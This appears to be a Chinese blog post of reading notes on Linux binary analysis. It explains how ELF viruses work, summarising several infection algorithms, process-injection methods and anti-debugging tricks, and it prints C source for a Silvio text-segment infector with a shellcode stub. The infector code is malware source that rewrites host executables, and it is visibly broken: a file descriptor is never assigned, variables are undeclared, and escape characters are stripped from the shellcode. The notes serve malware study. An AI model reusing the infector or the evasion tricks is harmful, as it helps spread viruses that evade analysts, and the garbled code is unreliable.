zoukankan      html  css  js  c++  java
  • 《linux二进制分析》读书笔记总结--ELF病毒技术-linux/unix病毒

    ELF 病毒的本质

      每个可执行文件都有一个控制流,也叫执行路径。ELF 病毒的首要目标是劫持控制流,暂时改变程序的执行路径来执行寄生代码。

    寄生代码通常负责设置钩子来劫持函数,还会将自身代码复制到没有感染病毒的程序中。一旦寄生代码执行完成,通常会跳转到原始的入口点或程序正常的执行路径上。通过这种方式,宿主程序貌似是正常执行的,病毒就不容易被发现

    特点:

    • 能感染可执行文件
    • 寄生代码必须是独立的,能够在物理上寄存与另一个程序内部,不能依赖动态链接器链接外部的库。独立于其他文件、代码库、程序等。
    • 被感染的宿主文件能继续执行并传播病毒

    设计ELF病毒的挑战

    独立寄生代码

    原因:每次感染的地址都会变化,寄生代码每次注入二进制文件中的位置也会变化,所以寄存程序必须能够动态计算出所在的内存地址。寄生代码可以使用IP相对代码,通过函数相对指令指针的偏移量来计算出代码的地址来执行函数。

    解决方案:使用gcc的-nostdlib-fpic -pie选项可以将其编译成位置独立的代码

    字符串存储复杂度

    原因:在病毒代码处理字符串时,如果遇到这样的代码const char *name = "elfvirus";,编译器会将字符串数据存放在.rodata节中,然后通过地址对字符串进行引用,一旦使用病毒注入到其他程序中,这个地址就会失效

    解决方案:

    1. 编写病毒代码时使用栈来存放字符串
    2. 用gcc的-N选项,将text段和data段合并到一个单独的段中,使这个段具有可读、可写、可执行权限,这样病毒在感染时就会将这整个段注入,并包括了.rodata节的字符串数据

    寻找存放寄生代码的合理空间

    问题: 在设计病毒时首先要回答的问题之一便是要将病毒体(病毒的代码)注入到哪里?换言之,寄生代码要寄存在宿主代码中的什么位置?不同的二进制格式需要有不同的注入方式,但是都需要根据 ELF 头的值进行适当的调整

    面临的挑战不是找到空间存放代码,而是去调整 ELF 二进制文件,以便于能够去使用空间,同时要使得可执行文件看起来正常执行,并能够保证病毒可以潜藏在 ELF 文件中以 ELF 规范正常执行。在修改二进制文件和文件布局时,需要考虑许多问题,如页对齐、偏移调整、地址调整等

    将执行控制流传给寄生代码

    问题:在许多情况下,完全可以调整 ELF 文件头来将入口点指向寄生代码。这样做比较可靠,但是也会非常明显。如果入口点被修改后指向了寄生代码,就可以使用 readelf –h 命令查看入口点,立即就能知道寄生代码的位置。

    方案:找一个合适的位置来插入/修改一个分支,通过分支跳转到寄生代码,如插入一个 jmp 或者重写函数指针。一个比较合适的地方就是.ctors 或者.init_array 节,这两个节中存放着函数
    的指针。如果不介意宿主程序执行完之后再执行寄生代码,可以使用.dtors或.fini_array 节。

    ELF 病毒寄生代码感染方法

    Silvio 填充感染

    原理:利用了内存中 text段和 data 段之间存在的一页大小的填充空间,在磁盘上,text 段和 data 段是紧挨着的,不过可以利用这两个段之间的区域作为病毒体的存放区域

    .text感染算法

    • 增加ELF文件头中的ehdr->e_shoff(节表偏移)的PAGE_SIZE(页长度)
    • 定位text段的phdr

        修改入口点ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
        增加phdr[TEXT].p_filesz(文件长度)的长度为寄生代码的长度
        增加phdr[TEXT].p_memsz(内存长度)的长度为寄生代码的长度

    • 对每个phdr(程序头),对应段若在寄生代码之后,则根据页长度增加对应的偏移
    • 找到text段的最后一个shdr(节头),把shdr[x].sh_size增加为寄生代码的长度
    • 对每个位于寄生代码插入位置之后shdr,根据页长度增加对应的偏移
    • 将真正的寄生代码插入到text段的file_base + phdr[TEXT].p_filesz(text段的尾部)

    逆向text感染

    在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分,我们要逆向扩展text段,将text段的虚拟地址缩减PAGE_ALIGN(parasite_size)。
    在现代Linux系统中允许的最小虚拟映射地址是0x1000,也就是text的虚拟地址最多能扩展到0x1000。在64位系统上,默认的text段虚拟地址通常是0x400000,这样寄生代码可占用的空间就达到了0x3ff000字节。在32位系统上,默认的text段虚拟地址通常是0x0804800,这就有可能产生更大的病毒。

     计算一个可执行文件中可插入的最大寄生代码大小公式:

    max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))

    感染算法:

    • 将ehdr_eshoff增加为寄生代码长度
    • 找到text段和phdr,保存p_vaddr(虚拟地址)的初始值

        根据寄生代码长度减小p_vaddr和p_paddr(物理地址)
        根据寄生代码长度增大p_filesz和p_memsz

    • 遍历每个程序头的偏移,根据寄生代码的长度增加它的值;使得phdr前移,为逆向text扩展腾出空间
    • 将ehdr->e_entry设置为原始text段的虚拟地址:
    • orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
    • 根据寄生代码的长度增加ehdr->e_phoff
    • 创建新的二进制文件映射出所有的修改,插入真正的寄生代码覆盖旧的二进制文件。

    data段感染

    data段的数据有R+W权限,而text段来R+X权限,我们可以在未设置NX-bit的系统(32位linux系统)上,不改变data段权限并执行data段中的代码,这样对寄生代码的大小没有限制。但是要注意为.bss节预留空间,尽管.bss节不占用空间,但是它会在程序运行时给未初始化的遍历在data段末尾分配空间。

    感染算法:

    • 将ehdr->e_shoff增加为寄生代码的长度
    • 定位data段的phdr

        将ehdr->e_entry指向寄生代码的位置
        phdr->pvaddr + phdr->filesz
        将phdr->p_filesz,phdr->p_memsz增加为寄生代码的长度

    • 调整.bss节头,使其偏移量和地址能反映寄生代码的尾部
    • 设置data段的权限(在设置了NX-bit的系统上,未设置的系统不需要这步)

        phdr[DATA].p_flags |= PF_X;

    • 使用假名为寄生代码添加节头,防止有人执行/usr/bin/strip <program>将没有进行节头说明的寄生代码清除掉。
    • 创建新的二进制文件映射出所有的修改,插入寄生代码覆盖旧的二进制文件。

    PT_NOTE 到 PT_LOAD 转换感染

    原理:

    将 PT_NOTE 段的类型改为 PT_LOAD,然后将段的位置移到其他所有段之后。当然,也可以通过创建一个 PT_LOAD phdr条目来创建一个新的段,但是由于程序在没有 PT_NOTE 段时仍将执行,因此
    将其转换为 PT_LOAD 类型。我自己还未在病毒中实现这种感染方法,不过我在 Quenya v0.1 中设计了一项新特性,即允许增加一个新的段。

    PT_NOTE 到 PT_LOAD 转换感染算法
    1.定位 data 段 phdr

    • 找到 data 段结束的地址:  ds_end_addr = phdr->p_vaddr + p_memsz
    • 找到 data 段结束的文件偏移量:  ds_end_off = phdr->p_offset + p_filesz
    • 获取到可加载段的对齐大小:  align_size = phdr->p_align

    2.定位 PT_NOTE phdr

    • 将 phdr 转换成 PT_LOAD:  phdr->p_type = PT_LOAD;
    • 将下面起始地址赋给 phdr:  ds_end_addr + align_size
    • 将寄生代码的长度赋给 phdr:  phdr->p_filesz += parasite_size;phdr->p_memsz += parasite_size

    3.对新建的段进行说明:ehdr->e_shoff += parasite_size

    4.创建一个新的二进制文件映射出 ELF 头的修改和新的段,插入真正的寄生代码

    进程内存病毒和 rootkits——远程代码注入技术

    共享库注入

    1. .so 感染/ET_DYN 感染
    2. .so 感染——使用 LD_PRELOAD
    3. 使用 LD_PRELOAD 注入 wicked.so.1
    4. .so 感染——利用 open()/mmap() shellcode
    5. .so 感染——使用 dlopen() shellcode
    6. .so 感染——使用 VDSO 控制技术

    text 段代码注入

    可执行文件注入

    重定位代码注入——ET_REL 注入

    ELF 反调试和封装技术

    PTRACE_TRACEME 技术

    原理:

      PTRACE_TRACEME 技术利用了进程追踪的一项特性—一个程序在同一时间只能被一个进程追踪,几乎所有的调试器,包括 GDB,都会使用
    ptrace。这项技术的思路就是让程序追踪自身,这样调试器就无法附加到该进程了

    SIGTRAP 处理技术

    原理:

      程序可以设置一个信号处理器来捕获SIGTRAP 信号,然后故意发出一个断点指令,信号处理器捕获到 SIGTRAP信号之后,会将一个全局变量从 0 加到 1。
    随后程序会对这个全局变量进行检查,看是否已经从 0 加到 1 了,如果是,就说明我们自己的程序捕获到了断点,目前还没有被调试器调试。如果否(即为 0),那就说明目前一定存在调试器在对该程序进行调试。为了防止被调试,程序可以选择终止自身进程或者退出

    static int caught = 0;
    int sighandle(int sig)
    {
        caught++;
    }
    int detect_debugger(void)
    {
    __asm__ volatile("int3");
        if (!caught) {
            printf("There is a debugger attached!
    ");
            return 1;
        }
    }    

    /proc/self/status 技术

    原理:每个进程都有动态文件,文件中包含了许多信息,其中就存放了进程是否正在被追踪的相关信息

    下面是/proc/self/status 的布局示例,可以通过对此进行解析来检
    测追踪者或者调试器:

     1 ryan@elfmaster:~$ head /proc/self/status
     2 Name: head
     3 State: R (running)
     4 Tgid: 19813
     5 Ngid: 0
     6 Pid: 19813
     7 PPid: 17364
     8 TracerPid: 0
     9 Uid: 1000 1000 1000 1000
    10 Gid: 31337 31337 31337 31337
    11 FDSize: 256

    上面输出中显示的“TracerPid: 0”表示进程没有被追踪。程序要检查自身是否被追踪,可以打开/proc/slf/status,然后检查这一项的值
    是否为 0。如果不为 0,则说明程序正在被追踪,就可以终止自身进程或者立即退出

    text段填充感染实例

    (1)调整 ELF 头

     1 #define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we
     2 patch
     3 /* movl $addr, %eax; jmp *eax; */
     4 char parasite_shellcode[] =
     5 "xb8x00x00x00x00"
     6 "xffxe0"
     7 ;
     8 int silvio_text_infect(char *host, void *base, void *payload,
     9                 size_t host_len, size_t parasite_len)
    10 {
    11         Elf64_Addr o_entry;
    12         Elf64_Addr o_text_filesz;
    13         Elf64_Addr parasite_vaddr;
    14         uint64_t end_of_text;
    15         int found_text;
    16         uint8_t *mem = (uint8_t *)base;
    17         uint8_t *parasite = (uint8_t *)payload;
    18         Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
    19         Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
    20         Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
    21         /*
    22          * Adjust program headers
    23          */
    24         for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
    25                 if (phdr[i].p_type == PT_LOAD) {
    26                         if (phdr[i].p_offset == 0) {
    27                                 o_text_filesz = phdr[i].p_filesz;
    28                                 end_of_text = phdr[i].p_offset +
    29                                         phdr[i].p_filesz;
    30                                 parasite_vaddr = phdr[i].p_vaddr +
    31                                         o_text_filesz;
    32                                 phdr[i].p_filesz += parasite_len;
    33                                 phdr[i].p_memsz += parasite_len;
    34                                 for (j = i + 1; j < ehdr->e_phnum;
    35                                                 j++)
    36                                         if (phdr[j].p_offset >
    37                                                         phdr[i].p_offset +
    38                                                         o_text_filesz)
    39                                                 phdr[j].p_offset
    40                                                         += PAGE_SIZE;
    41                         }
    42                         break;
    43                 }
    44         }
    45         for (i = 0; i < ehdr->e_shnum; i++) {
    46                 if (shdr[i].sh_addr > parasite_vaddr)
    47                         shdr[i].sh_offset += PAGE_SIZE;
    48                 else
    49                         if (shdr[i].sh_addr + shdr[i].sh_size ==
    50                                         parasite_vaddr)
    51                                 shdr[i].sh_size += parasite_len;
    52         }
    53         /*
    54          * NOTE: Read insert_parasite() src code next
    55          */
    56         insert_parasite(host, parasite_len, host_len,
    57                         base, end_of_text, parasite,
    58                         JMP_PATCH_OFFSET);
    59         return 0;
    60 }

    (2)插入寄生代码

     1 #define TMP "/tmp/.infected"
     2 void insert_parasite(char *hosts_name, size_t psize, size_t hsize,
     3                 uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t
     4                 jmp_code_offset)
     5 {
     6         /* note: jmp_code_offset contains the
     7          * offset into the payload shellcode that
     8          * has the branch instruction to patch
     9          * with the original offset so control
    10          * flow can be transferred back to the
    11          * host.
    12          */
    13         int ofd;
    14         unsigned int c;
    15         int i, t = 0;
    16         open (TMP, O_CREAT | O_WRONLY | O_TRUNC,
    17                         S_IRUSR|S_IXUSR|S_IWUSR);
    18         write (ofd, mem, end_of_text);
    19         *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
    20         write (ofd, parasite, psize);
    21         lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
    22         mem += end_of_text;
    23         unsigned int sum = end_of_text + PAGE_SIZE;
    24         unsigned int last_chunk = hsize - end_of_text;
    25         write (ofd, mem, last_chunk);
    26         rename (TMP, hosts_name);
    27         close (ofd);
    28 }

    函数应用示例:

    1 uint8_t *mem = mmap_host_executable("./some_prog");
    2 silvio_text_infect("./some_prog", mem, parasite_shellcode,
    3 parasite_len);

    参考资料:

    《linux二进制分析》

    https://www.anquanke.com/post/id/85256

  • 相关阅读:
    Apriori算法原理总结
    FP Tree算法原理总结
    用Spark学习FP Tree算法和PrefixSpan算法
    《万历十五年》段落摘抄
    DPDK mempool
    DPDK PCIe 与 包处理
    《汇编语言》-- 控制执行流程
    《黑客攻防技术-系统实战》第二章--栈溢出4
    DPDK报文转发
    DPDK同步互斥机制
  • 原文地址:https://www.cnblogs.com/mysky007/p/12493115.html
Copyright © 2011-2022 走看看